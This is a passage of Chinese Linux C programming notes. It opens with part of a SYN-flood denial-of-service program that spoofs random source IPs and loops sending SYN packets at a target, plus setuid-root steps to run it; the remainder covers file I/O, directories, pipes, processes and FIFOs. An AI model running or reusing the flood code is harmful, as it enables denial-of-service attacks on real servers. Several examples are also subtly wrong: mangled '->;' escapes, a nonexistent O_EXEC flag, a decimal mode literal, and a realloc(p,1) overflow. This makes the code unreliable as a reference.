    void send_tcp(int sockfd,struct sockaddr_in *addr) 
    { 
    char buffer[100]; /**** 用来放置我们的数据包 ****/ 
    struct ip *ip; 
    struct tcphdr *tcp; 
    int head_len; 
    /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/ 
    head_len=sizeof(struct ip)+sizeof(struct tcphdr); 
    bzero(buffer,100); 
    /******** 填充 IP 数据包的头部,还记得 IP 的头格式吗? ******/ 
    ip=(struct ip *)buffer; 
    ip->;ip_v=IPVERSION; /** 版本一般的是 4 **/ 
    ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP 数据包的头部长度 **/ 
    ip->;ip_tos=0; /** 服务类型 **/ 
    ip->;ip_len=htons(head_len); /** IP 数据包的长度 **/ 
    ip->;ip_id=0; /** 让系统去填写吧 **/ 
    ip->;ip_off=0; /** 和上面一样,省点时间 **/ 
    ip->;ip_ttl=MAXTTL; /** 最长的时间 255 **/ 
    ip->;ip_p=IPPROTO_TCP; /** 我们要发的是 TCP 包 **/ 
    ip->;ip_sum=0; /** 校验和让系统去做 **/ 
    ip->;ip_dst=addr->;sin_addr; /** 我们攻击的对象 **/ 
    /******* 开始填写 TCP 数据包 *****/ 
    tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
    tcp->;source=htons(LOCALPORT); 
    tcp->;dest=addr->;sin_port; /** 目的端口 **/ 
    tcp->;seq=random(); 
    tcp->;ack_seq=0; 
    tcp->;doff=5; 
    tcp->;syn=1; /** 我要建立连接 **/ 
    tcp->;check=0; 
    /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ 
    while(1) 
    { 
    /** 你不知道我是从那里来的,慢慢的去等吧! **/ 
    ip->;ip_src.s_addr=random(); 
    /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ 
    /** 下面这条可有可无 */ 
    tcp->;check=check_sum((unsigned short *)tcp, 
    sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 
    } 
    } 
    /* 下面是首部校验和的算法,偷了别人的 */ 
    unsigned short check_sum(unsigned short *addr,int len) 
    { 
    register int nleft=len; 
    register int sum=0; 
    register short *w=addr; 
    short answer=0; 
    while(nleft>;1) 
    { 
    sum+=*w++; 
    nleft-=2; 
    } 
    if(nleft==1) 
    { 
    *(unsigned char *)(&answer)=*(unsigned char *)w; 
    sum+=answer; 
    } 
    sum=(sum>;>;16)+(sum&0xffff); 
    sum+=(sum>;>;16); 
    answer=~sum; 
    return(answer); 
    } 
    

    编译一下,拿 localhost 做一下实验,看看有什么结果。(千万不要试别人的啊!)
    为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为 root,且 设置 setuid 位:

    [root@hoyt /root]#chown root DOS 
    [root@hoyt /root]#chmod +s DOS
    
  3. 总结

    (1)原始套接字

    原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了。
    不过这里面是不是有很多的乐趣呢?!

    • 当我们创建了一个 TCP 套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统,系统在收到我们的数据后,会自动的调用相应的模块给数据加上 TCP 头部,然后加上 IP 头部,再发送出去;
    • 而现在是我们自己创建各个的头部,系统只是把它们发送出去。
      • 在上面的实例中,由于我们要修改我们的源 IP 地址,所以我们使用了 setsockopt 函数;
      • 如果我们只是修改 TCP 数据,那么 IP 数据一样也可以由系统来创建的。

    (2)网络编程

    网络程序一般的来说都是多进程加上多线程的,为了处理好他们内部的关系,我们还要学习进程之间的通信。
    在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识;现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库。
    如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议;总之我们要学的东西还很多很多。

Ⅵ 文件 I/O 操作

重点学习基于数据流的文件 I/O 操作。???
本章主要讨论 Linux 下文件操作的各个函数。

6.1 文件的创建和读写

  1. 标准级的文件操作

    本节讨论的系统级的文件操作实际上是为『标准级文件操作』服务的;

    • 标准级的文件操作的各个函数分别为:fopen,fread,fwrite 等等。

    (1)文件打开函数 fopen

    #include 
    FILE *fopen(char *path, char *mode);
    FILE *fdopen(int fildes, const char *mode);
    FILE *freopen(char *path, char *mode, FILE *stream);
    int fclose(FILE *stream);
    

    (2)数据写入函数 fwrite

    size_t fwrite (void *ptr, size_t size, size_t nmemb, FILE *stream);
    int putc(int c, FILE *stream);
    int fputc(int c, FILE *stream);
    int fputs(char *s, FILE *stream);
    
  2. 文件打开与关闭

    当我们需要打开一个文件进行读写操作的时候,可以使用系统调用函数 open。使用完成以后,调用另外一个 close 函数进行关闭操作:

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    int open(const char *pathname, int flags); 
    int open(const char *pathname, int flags, mode_t mode); 
    int close(int fd);
    

    open 函数有两个形式;
    (1)基本-参数说明:

    • pathname 是我们要打开的文件名(包含路径名称,缺省是认为在当前路径下面)。
    • flags 可以是下面的一个值或者是几个值的组合:
      ① O_RDONLY:以只读的方式打开文件。
      ② O_WRONLY:以只写的方式打开文件。
      ③ O_RDWR:以读写的方式打开文件。
      ④ O_APPEND:以追加的方式打开文件。
      ⑤ O_CREAT:创建一个文件。
      ⑥ O_EXEC:如果使用了 O_CREAT 而且文件已经存在,就会发生一个错误。
      ⑦ O_NOBLOCK:以非阻塞的方式打开一个文件。
      ⑧ O_TRUNC:如果文件已经存在,则删除文件的内容。

    (2)mode 标志

    • 前面三个标志只能使用任意的一个,如果使用了 O_CREATE 标志,那么我们要使用 open 函数的第二种形式,还要指定 mode 标志,用来表示文件的访问权限;

    • mode 可以是以下情况的组合:

      ----------------------------------------------------------------- 
      S_IRUSR 用户可以读 # S_IWUSR 用户可以写
      S_IXUSR 用户可以执行 # S_IRWXU 用户可以读写执行
      ----------------------------------------------------------------- 
      S_IRGRP 组可以读 # S_IWGRP 组可以写
      S_IXGRP 组可以执行 # S_IRWXG 组可以读写执行
      ----------------------------------------------------------------- 
      S_IROTH 其他人可以读 # S_IWOTH 其他人可以写
      S_IXOTH 其他人可以执行 # S_IRWXO 其他人可以读写执行
      ----------------------------------------------------------------- 
      S_ISUID 设置用户执行 ID # S_ISGID 设置组的执行 ID 
      ----------------------------------------------------------------- 
      

    (3)返回值

    如果我们打开文件成功,open 会返回一个文件描述符 - fd。

    • 我们以后对文件的所有操作就可以对这个文件描述符进行操作了。
    • 当我们操作完成以后,我们要关闭文件了,只要调用 close 就可以了,其中 fd 是我们要关闭的文件描述符。
  3. 数字位标志

    我们也可以用数字来代表各个位的标志,Linux 总共用 5 个数字(00000)来表示文件的各种权限:

    (1)数字位

    第一位,表示设置用户 ID;
    第二位,表示设置组 ID;
    第三位,表示用户自己的权限位;
    第四位,表示组的权限;
    最后一位,表示其他人的权限。

    (2)取值范围

    每个数字可以取:1(执行权限)、2(写权限)、4(读权限)、0(什么也没有),或者是这几个值的和。

    (3)举个例子

    比如,我们要创建一个用户:读写执行、组没有权限、其他人读执行的文件,设置用户 ID 位。

    那么,我们可以使用的模式是 :

    1(设置用户 ID)、0(组没有设置)、7(1+2+4)、0(没有权限,使用缺省)、5(1+4),即 10705:

    open("temp", O_CREAT, 10705);
    
  4. 文件读写操作

    文件打开了以后,我们就要对文件进行读写了。我们可以调用函数 read 和 write 进行文件的读写:

    #include ; 
    ssize_t read(int fd, void *buffer, size_t count); 
    ssize_t write(int fd, const void *buffer, size_t count); 
    

    (1)参数说明:

    • fd:是我们要进行读写操作的文件描述符。
    • buffer:是我们要写入文件内容或读出文件内容的内存地址。
    • count:是我们要读写的字节数。

    (2)读操作

    对于普通的文件,read 从指定的文件(fd)中读取 count 字节到 buffer 缓冲区中(需要提供一个足够大的缓冲区),同时返回 count。

    • 如果 read 读到了文件的结尾或者被一个信号所中断,返回值会小于 count。
    • 如果是由信号中断引起返回,而且没有返回数据,read 会返回-1,且设置 errno 为 EINTR。
    • 当程序读到了文件结尾的时候,read 会返回 0。

    (3)写操作

    write 从 buffer 中写 count 字节到文件(fd)中,成功时,返回实际所写的字节数。

  5. 实例说明

    下面我们学习一个实例,这个实例用来拷贝文件

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define BUFFER_SIZE 1024 
    int main(int argc,char **argv) 
    { 
    int from_fd,to_fd; 
    int bytes_read,bytes_write; 
    char buffer[BUFFER_SIZE]; 
    char *ptr; 
    if(argc!=3) 
    { 
    fprintf(stderr,"Usage:%s fromfile tofile\n\a",argv[0]); 
    exit(1); 
    }
    /* 打开源文件 */ 
    if((from_fd=open(argv[1],O_RDONLY))==-1) 
    { 
    fprintf(stderr,"Open %s Error:%s\n",argv[1],strerror(errno)); 
    exit(1); 
    } 
    /* 创建目的文件 */ 
    if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1) 
    { 
    fprintf(stderr,"Open %s Error:%s\n",argv[2],strerror(errno)); 
    exit(1); 
    } 
    /* 以下代码是一个经典的拷贝文件的代码 */ 
    while(bytes_read=read(from_fd,buffer,BUFFER_SIZE)) 
    { 
    /* 一个致命的错误发生了 */ 
    if((bytes_read==-1)&&(errno!=EINTR)) break; 
    else if(bytes_read>;0) 
    { 
    ptr=buffer; 
    while(bytes_write=write(to_fd,ptr,bytes_read)) 
    { 
    /* 一个致命错误发生了 */ 
    if((bytes_write==-1)&&(errno!=EINTR))break; 
    /* 写完了所有读的字节 */ 
    else if(bytes_write==bytes_read) break; 
    /* 只写了一部分,继续写 */ 
    else if(bytes_write>;0) 
    { 
    ptr+=bytes_write; 
    bytes_read-=bytes_write; 
    } 
    } 
    /* 写的时候发生的致命错误 */ 
    if(bytes_write==-1)break; 
    } 
    } 
    close(from_fd); 
    close(to_fd); 
    exit(0); 
    } 
    

6.2 文件的各个属性

文件具有各种各样的属性,除了我们上面所知道的文件权限以外,文件还有创建时间,大小等等属性。

  1. access 函数

    有时侯我们要判断文件是否可以进行某种操作(读、写等等),这个时候我们可以使用 access 函数:

    #include ; 
    int access(const char *pathname, int mode); 
    

    (1)参数说明:

    • pathname:是文件名称。

    • mode:是我们要判断的属性,可以取以下值或者是他们的组合:

      R_OK 文件可以读,
      W_OK 文件可以写,
      X_OK 文件可以执行,
      F_OK 文件存在。

    (2)返回值:

    当我们测试成功时,函数返回 0;否则如果有一个条件不符时,返回-1。

  2. stat、fstat 函数

    如果我们要获得文件的其他属性,我们可以使用函数 stat 或者 fstat:

    #include ; 
    #include ; 
    int stat(const char *file_name, struct stat *buf); 
    int fstat(int filedes, struct stat *buf); 
    struct stat { 
    dev_t st_dev; /* 设备 */ 
    ino_t st_ino; /* 节点 */ 
    mode_t st_mode; /* 模式 */ 
    nlink_t st_nlink; /* 硬连接 */ 
    uid_t st_uid; /* 用户 ID */ 
    gid_t st_gid; /* 组 ID */ 
    dev_t st_rdev; /* 设备类型 */ 
    off_t st_off; /* 文件字节数 */ 
    unsigned long st_blksize; /* 块大小 */ 
    unsigned long st_blocks; /* 块数 */ 
    time_t st_atime; /* 最后一次访问时间 */ 
    time_t st_mtime; /* 最后一次修改时间 */ 
    time_t st_ctime; /* 最后一次改变时间(指属性) */ 
    };
    

    stat 用来判断没有打开的文件,而 fstat 用来判断打开的文件。

    (1)参数说明

    我们使用最多的属性是 st_ mode。
    通过这个属性我们可以判断给定的文件是一个普通文件还是一个目录、连接等等。

    (2)宏操作

    可以使用下面几个宏来判断。

    • S_ISLNK(st_mode):是否是一个连接。
      S_ISREG 是否是一个常规文件。
      S_ISDIR 是否是一个目录。
      S_ISCHR 是否是一个字符设备。
      S_ISBLK 是否是一个块设备。
      S_ISFIFO 是否是一个 FIFO文件。
      S_ISSOCK 是否是一个 SOCKET 文件。

    我们会在下面说明如何使用这几个宏的。

6.3 目录文件的操作

  1. 获取当前的工作路径

    在我们编写程序的时候,有时候会要用到我们当前的工作路径。C 库函数提供了 getcwd 来解决这个问题。

    #include ; 
    char *getcwd(char *buffer,size_t size);
    

    我们提供一个 size 大小的 buffer;getcwd 会把当前的路径拷到 buffer 中。
    如果 buffer 太小,函数会返回:-1 和一个错误号。

  2. 目录操作函数

    Linux 提供了大量的目录操作函数,我们学习几个比较简单和常用的函数:

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    int mkdir(const char *path, mode_t mode); 
    DIR *opendir(const char *path); 
    struct dirent *readdir(DIR *dir); 
    void rewinddir(DIR *dir); 
    off_t telldir(DIR *dir); 
    void seekdir(DIR *dir, off_t off); 
    int closedir(DIR *dir); 
    struct dirent { 
    long d_ino; 
    off_t d_off; 
    unsigned short d_reclen; 
    char d_name[NAME_MAX+1]; /* 文件名称 */
    }
    

    ① mkdir:创建一个目录。
    ② opendir:打开一个目录为以后读做准备。
    ③ readdir:读一个打开的目录。
    ④ rewinddir:是用来重读目录的,和我们学的 rewind 函数一样。
    ⑤ closedir:是关闭一个目录。
    ⑥ telldir 和 seekdir:类似于 ftee 和 fseek 函数。

  3. 实例

    下面我们开发一个小程序:这个程序有一个参数,

    • 如果这个参数是一个文件名,我们输出这个文件的大小和最后修改的时间;
    • 如果是一个目录,就输出这个目录下所有文件的大小和修改时间。
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    static int get_file_size_time(const char *filename) 
    { 
    struct stat statbuf; 
    if(stat(filename,&statbuf)==-1) 
    { 
    printf("Get stat on %s Error:%s\n", 
    filename,strerror(errno)); 
    return(-1); 
    } 
    if(S_ISDIR(statbuf.st_mode))return(1); 
    if(S_ISREG(statbuf.st_mode)) 
    printf("%s size:%ld bytes\tmodified at %s", 
    filename,statbuf.st_size,ctime(&statbuf.st_mtime)); 
    return(0); 
    } 
    int main(int argc,char **argv) 
    { 
    DIR *dirp; 
    struct dirent *direntp; 
    int stats; 
    if(argc!=2) 
    { 
    printf("Usage:%s filename\n\a",argv[0]); 
    exit(1); 
    } 
    if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1); 
    if((dirp=opendir(argv[1]))==NULL) 
    { 
    printf("Open Directory %s Error:%s\n", 
    argv[1],strerror(errno)); 
    exit(1); 
    } 
    while((direntp=readdir(dirp))!=NULL) 
    if(get_file_size_time(direntp-<d_name)==-1)break; 
    closedir(dirp); 
    exit(1); 
    }
    

6.4 管道文件

Linux 提供了许多的过滤和重定向程序,比如 more cat 等等;
还提供了 < >; | << 等等重定向操作符。
在这些过滤和重定向程序当中,都用到了管道这种特殊的文件。

  1. pipe 函数

    系统调用 pipe 可以创建一个管道。

    #include; 
    int pipe(int fildes[2]); 
    

    pipe 调用可以创建一个管道(通信缓冲区)。

    • 当调用成功时,我们可以访问文件描述符 fildes[0]、fildes[1]。
    • 其中,fildes[0] 是用来读的文件描述符,而 fildes[1] 是用来写的文件描述符。
  2. 实际应用

    在实际使用中,我们是通过创建一个子进程,然后一个进程写,一个进程读来使用的。

    • 关于进程通信的详细情况请查看『进程通信』。
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define BUFFER 255 
    int main(int argc,char **argv) 
    { 
    char buffer[BUFFER+1]; 
    int fd[2]; 
    if(argc!=2) 
    { 
    fprintf(stderr,"Usage:%s string\n\a",argv[0]); 
    exit(1); 
    } 
    if(pipe(fd)!=0) 
    { 
    fprintf(stderr,"Pipe Error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    if(fork()==0) 
    { 
    close(fd[0]); 
    printf("Child[%d] Write to pipe\n\a",getpid()); 
    snprintf(buffer,BUFFER,"%s",argv[1]); 
    write(fd[1],buffer,strlen(buffer)); 
    printf("Child[%d] Quit\n\a",getpid()); 
    exit(0); 
    } 
    else 
    { 
    close(fd[1]); 
    printf("Parent[%d] Read from pipe\n\a",getpid());
    memset(buffer,'\0',BUFFER+1); 
    read(fd[0],buffer,BUFFER); 
    printf("Parent[%d] Read:%s\n",getpid(),buffer); 
    exit(1); 
    } 
    } 
    
  3. dup2 函数

    为了实现重定向操作,我们需要调用另外一个函数 dup2。

    #include ; 
    int dup2(int oldfd,int newfd); 
    

    dup2 将用 oldfd 文件描述符来代替 newfd 文件描述符,同时关闭 newfd 文件描述符。

    • 也就是说,所有向 newfd 操作都转到 oldfd 上面。
  4. 举个例子

    下面我们学习一个例子,这个例子将标准输出重定向到一个文件。

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define BUFFER_SIZE 1024 
    int main(int argc,char **argv) 
    { 
    int fd; 
    char buffer[BUFFER_SIZE]; 
    if(argc!=2) 
    { 
    fprintf(stderr,"Usage:%s outfilename\n\a",argv[0]); 
    exit(1); 
    } 
    if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1) 
    { 
    fprintf(stderr,"Open %s Error:%s\n\a",argv[1],strerror(errno)); 
    exit(1); 
    } 
    if(dup2(fd,STDOUT_FILENO)==-1) 
    { 
    fprintf(stderr,"Redirect Standard Out Error:%s\n\a",strerror(errno)); 
    exit(1); 
    } 
    fprintf(stderr,"Now,please input string"); 
    fprintf(stderr,"(To quit use CTRL+D)\n"); 
    while(1) 
    { 
    fgets(buffer,BUFFER_SIZE,stdin); 
    if(feof(stdin))break; 
    write(STDOUT_FILENO,buffer,strlen(buffer)); 
    } 
    exit(0); 
    }
    

6.5 总结

学习好了文件的操作后,我们其实已经可以写出一些比较有用的程序了。
例如,我们可以编写一个程序实现 dir、mkdir、cp、mv 等等常用的文件操作命令。

二、命令行操作

Linux - Ubuntu 指南:

  1. 终端 - 快捷键

    使用快捷键:Ctrl+Alt+T打开终端。

    ctrl + D :关闭终端。

  2. Ubuntu 系统

    esc键:解锁休眠123456

Ⅰ 进程管理

基础 demo - 代码实例。

  1. 通过编程方式获取进程的属性信息

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
        printf("process id=%d\n",getpid()); /*进程 ID*/ 
        printf("parent process id=%d\n",getppid()); /*进程的父进程 ID*/ 
        printf("process group id=%d\n",getpgrp()); /*进程的组 ID*/ 
        printf("calling process's real user id=%d\n",getuid()); /*进程的用户 ID*/ 
        printf("calling process's real group id=%d\n",getgid()); /*进程的用户组 ID*/ 
        printf("calling process's effective user id=%d\n",geteuid()); /*进程的有效用户 ID*/ 
        printf("calling process's effective group id=%d\n",getegid()); /*进程的有效用户组 ID*/ 
    }
    
  2. 调用 setpgid 使本进程成为新进程组的组长:

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
    	setpgid(0,0); /*设置当前进程为新的进程组的组长*/ 
    	sleep(10); /*休眠 10 秒,以供查看进程状态*/ 
    }
    
  3. 调用 setsid 实现进程的后台运行——进程的会话

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
    	int n; /*循环变量定义*/ 
    	__pid_t nPid; /*进程 ID 变量*/ 
    	__pid_t nGroupId; /*进程的组长进程 ID*/ 
    	if((nPid = fork()) < 0) /*创建新的子进程*/ 
    	{ 
    		perror("fork"); /*创建子进程失败,错误处理*/ 
    		exit(0); 
    	} 
    	if(nPid != 0) /*父进程*/ 
    		exit(0); /*父进程退出*/ 
    	nGroupId = setsid(); /*产生新会话,返回新创建的进程组的组 ID*/ 
    	if(nGroupId == -1) /*错误处理*/ 
    	{ 
    		perror("setsid"); /*输出错误信息*/ 
    		exit(0); 
    	} 
    	for(n=0;n<10;n++) /*循环休眠一段时间退出,供用户查看运行结果*/ 
    		sleep(3); /*休眠 3 秒*/ 
    } 
    
  4. 修改进程的谦让值,调用完成后输出进程的谦让值——进程的优先级

    #include  /*头文件*/ 
    #include  
    #include  
    main()
    { 
    	int nPr; /*整型变量定义*/ 
    	if(nice(3) == -1) /*进程的谦让值为 3,进程的优先级降低*/ 
    	{ 
    		perror("nice"); /*错误处理*/ 
    		exit(0); 
    	} 
    	errno = 0; /*设置全局错误变量为 0*/ 
    	nPr = getpriority(PRIO_PROCESS,getpid()); /*获得当前进程的谦让值*/ 
    	if(errno != 0) /*错误处理*/ 
    	{ 
    		perror("getpriority"); /*输出错误信息*/ 
    		exit(0); 
    	} 
    	printf("priority is %d\n",nPr); /*输出进程的谦让值*/ 
    } 
    
  5. 进程的运行环境1——入口函数 main() 函数演示

    #include  									/*头文件*/ 
    int main(int argc,char *argv[],char *env[])			/*主函数*/ 
    { 
    	int i; 											/*循环变量*/ 
    	for(i=0; i<argc; i++) 							/*循环输出全部命令行参数*/ 
    		printf("argv[%d]=%s\n",i,argv[i]);	 		/*输出命令行参数*/ 
    	for(i=0; env[i]!=NULL; i++) 					/*循环输出全部环境变量*/ 
    		printf("env[%d]:%s\n",i,env[i]);			/*输出环境变量*/ 
    	return 5; 										/*返回 5*/ 
    } 
    
  6. 进程的运行环境2——getopt 系统调用

    (1)struct option 的结构如下所示:

    struct option 
    { 
     const char *name; 
     int has_arg; 
     int *flag; 
     int val; 
    }; 
    

    (2)利用 getopt_long 编程实现可以接受如下选项的程序:

    短选项 长选项 说明
    -f –flag 输入标志
    -n username –name
    #include  									/*头文件*/ 
    #include  								/*getopt 系列函数要包含本头文件*/ 
    int save_flag_arg; 									/*全局整型变量定义*/ 
    char *opt_arg_value; 								/*全局字符串变量定义*/ 
    struct option longopts[] = { 					/*结构数组,用于定义每个参数的细节*/ 
    	{ "flag", no_argument, &save_flag_arg,'f'}, 	/*选项无选项值*/ 
    	{ "name", required_argument, NULL,'n'}, 		/*选项需要选项值*/ 
    	{ NULL, 0, NULL, 0}, 							/*结构数组结束*/ 
    }; 
     int main(int argc, char *argv[]) 					/*主函数*/ 
     { 
    	int i,c; 										/*整型变量定义*/ 
    	while((c = getopt_long(argc, argv, ":n:f", longopts, NULL)) != -1) 
        												/*循环解析命令行参数*/ 
    	{ 
    		switch (c)									 /*调用 switch 判断输入的选项*/ 
    		{ 
    		case 'n': 										/*选项 n*/ 
    			opt_arg_value = optarg; 					/*获得选项值*/ 
    			rintf("name is %s.\n", opt_arg_value); 		/*输出用户名称*/ 
    			break; 
    		case 0: 
    			if(save_flag_arg == 'f') 				
                /*结构成员中定义了 flag,输入值保存在该变量中,而 getop返回 0*/ 
    			{ 
    				printf("flag argument found!\n"); 			/*输出错误信息*/ 
    			} 
    			break; 
    		case ':': 									/*选项需要输入值,而实际未输入*/ 
    			printf("argument %c need value.\n",optopt); 	/*输出提示信息*/ 
    			break; 
    		case '?': 											/*无效的选项*/ 
    			printf("Invalid argument %c!\n",optopt); 		/*输出错误信息*/ 
    			break; 
    		} 
    	} 
    	return 0; 
    }
    
  7. 编程实现设置进程的环境变量 CONFIG_PATH 的值为/etc

    #include  									/*头文件*/ 
    #include  
    int main() 											/*主函数*/ 
    { 
    	char *buffer; 									/*字符串指针,用于保存环境变量*/ 
    	buffer = getenv ("CONFIG_PATH");				/*获得环境变量 CONFIG_PATH*/ 
    	if(buffer==NULL) 						/*如果环境变量为空,则调用 putenv 设置*/ 
    	{ 
    		putenv("CONFIG_PATH=/etc"); 						/*设置环境变量*/ 
    	} 
    	printf("CONFIG_PATH=%s\n",getenv("CONFIG_PATH")); 		/*获得并输出环境变量的值*/ 
    	return 0; 
    }
    
  8. 编程实现由键盘输入字符,保存于程序中动态分配的空间中——进程的内存分配

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
    	int i; /*循环变量*/ 
    	char c,*p; /*定义字符变量*/ 
    	p = (char *)malloc(10); /*分配 10 个字节的缓存区*/ 
    	for(i=0;;i++) 
    	{ 
    		c = getchar(); /*从键盘读入单个字符数据*/ 
    		if(i>9) /*如果输入字符的个数大于分配的缓冲区,则重新申请内存*/ 
    		{ 
    			p = (char *)realloc(p,1); /*重新增加申请一个字节的空间*/ 
    		} 
    		if(c == '\n') /*输入键,退出循环*/ 
    		{ 
    			p[i] = '\0'; /*终结字符串*/ 
    			break; 
    		} 
    		else 
    		{ 
    			p[i] = c; /*将输入的字符保存到分配的缓存区*/ 
    		} 
    	} 
    	printf("%s\n",p); /*输出缓存区中的内容*/ 
    	free(p); /*释放动态分配的内存*/ 
    }
    
  9. 编程创建多个(?)进程,每个进程输出当前时间——调用 fork 创建进程

    #include  /*头文件*/ 
    #include  
    #include  
    #include  
    int main() /*主函数*/ 
    { 
    	pid_t pid; /*进程 ID*/ 
    	signal(SIGCLD, SIG_IGN); /*信号处理,忽略 SIGCLD 信号,避免形成僵尸进程*/ 
    	switch(pid=fork()) /*创建子进程*/ 
    	{ 
    		case -1: /*创建子进程失败*/ 
    			perror("fork"); /*输出错误信息*/
    			break; 
    		case 0: /*子进程*/ 
    			printf("子进程:进程 ID=%d\n",getpid()); /*输出当前进程的进程 ID*/ 
    			exit(0); 
    			break; 
    		default: /*父进程*/ 
    			printf("父进程:创建子进程%d 成功.\n", pid); /*输出新创建的子进程的进程 ID*/ 
    			sleep(5); /*休眠 5 秒*/ 
    			break; 
    	} 
    } 
    
  10. 编程实现调用执行 ls 命令输出当前目录的文件列表

    (1)——调用 exec 系列函数执行程序

    #include  /*头文件*/ 
    #include  
    #include  
    main() /*主函数*/ 
    { 
    	pid_t pid; /*进程标识变量*/ 
    	char *para[]={"ls","-a",NULL}; /*定义参数数组,为 execv 所使用*/
    	if((pid = fork()) < 0) /*创建新的子进程*/ 
    	{ 
    		perror("fork"); /*错误处理*/ 
    		exit(0); 
    	} 
    	if(pid == 0) /*子进程*/ 
    	{ 
    		if(execl("/bin/ls","ls","-l",(char *)0) == -1) /*执行 ls -l 命令*/ 
    		{ 
    			perror("execl"); /*错误处理*/ 
    			exit(0); 
    		} 
    	} 
    	if((pid = fork()) < 0) /*创建新的子进程*/ 
    	{ 
    		perror("fork"); /*错误处理*/ 
    		exit(0); 
    	} 
    	if(pid == 0) /*子进程*/ 
    	{ 
    		if(execv("/bin/ls",para) == -1) /*执行 ls –a 命令*/ 
    		{ 
    			perror("execv"); /*错误处理*/ 
    			exit(0); 
    		} 
    	} 
    	return; 
    }
    

    (2)——调用 system 创建进程

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
    	/*调用 system 执行 ls –l 并输出执行的返回值*/ 
    	printf("call ls return %d\n",system("ls -l")); 
    } 
    
  11. 编写代码实现子进程退出——进程的终止

    #include  /*头文件*/ 
    #include  
    #include  
    #include  
    #include  
    void handle_sigcld(int signo) /*SIGCLD 信号处理函数*/ 
    { 
    	pid_t pid; /*保存退出进程的进程 ID*/ 
    	int status; /*保存进程的退出状态*/ 
    	if((pid = wait(&status)) != -1) /*调用 wait 等待子进程退出*/ 
    	{ 
    		printf("子进程%d 退出\n",pid); /*输出提示信息*/ 
    	} 
    	if(WIFEXITED(status)) /*判断子进程退出时是否有返回码*/ 
    	{ 
    		printf("子进程返回%d\n",WEXITSTATUS(status)); /*输出子进程的返回码*/ 
    	} 
    	if(WIFSIGNALED(status)) /*判断子进程是否被信号中断而结束*/ 
    	{ 
    		printf("子进程被信号%d 结束\n",WTERMSIG(status));/*输出中断子进程的信号*/ 
    	} 
    } 
    
    main() /*主函数*/ 
    { 
    	pid_t pid; /*定义 pid_t 类型变量,用于保存进程 ID*/ 
    	signal(SIGCLD,handle_sigcld); /*安装 SIGCLD 信号*/
    	if((pid = fork()) < 0) /*创建子进程*/ 
    	{ 
    		perror("fork"); /*错误处理*/ 
    		exit(0); 
    	} 
    	if(pid == 0) /*子进程*/ 
    	{ 
    		exit(123); /*子进程返回 123*/ 
    	} 
    	sleep(5); /*父进程休眠 5 秒,等待子进程退出*/ 
    }
    

Ⅱ 进程间通信

2.1 命名管道FIFO机制

使用命名管道FIFO机制实现客户到服务器之间传递数据的操作。

  • 命名管道文件需创建在Linux文件系统内;
  • 多客户-单一服务器模式:
    • 在一个终端窗口中运行 fifo-server 程序,然后再在另外一个终端窗口运行 fifo-client 程序。

(1)管道 pipe

管道是一种最基本的IPC机制,由pipe函数创建:

#include 
int pipe(int filedes[2]);

实现步骤:

① 父进程调用pipe开辟管道,得到两个文件描述符指向管道的两端。
② 父进程调用fork创建子进程,那么子进程也有两个文件描述符指向同一管道。
③ 父进程关闭管道读端,子进程关闭管道写端。父进程可以往管道里写,子进程可以从管道里读,管道是用环形队列实现的,数据从写端流入从读端流出,这样就实现了进程间通信。

(2)FIFO

进程间通信必须通过内核提供的通道,而且必须有一种办法在进程中标识内核提供的某个通道;

  • 文件系统中的路径名是全局的(各进程都可以访问),因此,可以用文件系统中的路径名来标识一个IPC通道。
  • FIFO 和 UNIX Domain Socket 这两种 IPC 机制都是利用文件系统中的特殊文件来标识的。
    • FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,
    • 各进程可以打开这个文件进行read/write,实际上是在读写内核通道(根本原因在于这个file结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信。
  1. fifo-client

    #include 
    #include 
    
    #define FIFO_FILE "/tmp/MYFIFO"/*命名管道的路径、文件名*/
    
    int main(int argc, char *argv[])
    {
    	FILE *fp;
    	int i;
    	if(argc<=1)
    	{
    		printf("usage: %s \n",argv[0]);
    		exit(1);
    	}
     
    	if((fp=fopen(FIFO_FILE,"w"))==NULL)/*打开命名管道文件*/	
    	{
    		printf("open fifo failed. \n");
    		exit(1);
    	}
    
    	for(i=1;i<argc;i++)
    	{
    		if(fputs(argv[i],fp)==EOF)
    		{
    			printf("write fifo error. \n");
    			exit(1);
    		}
    		if(fputs(" ",fp)==EOF)
    		{
    			printf("write fifo error. \n");
    			exit(1);
    		}
    	}
    	fclose(fp);
    	return 0;
    	 
    }
    
  2. fifo-server

    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define FIFO_FILE "/tmp/MYFIFO" /*命名管道的路径、文件名*/
    
    int main()
    {
    	FILE *fp;
    	char readbuf[80];
    
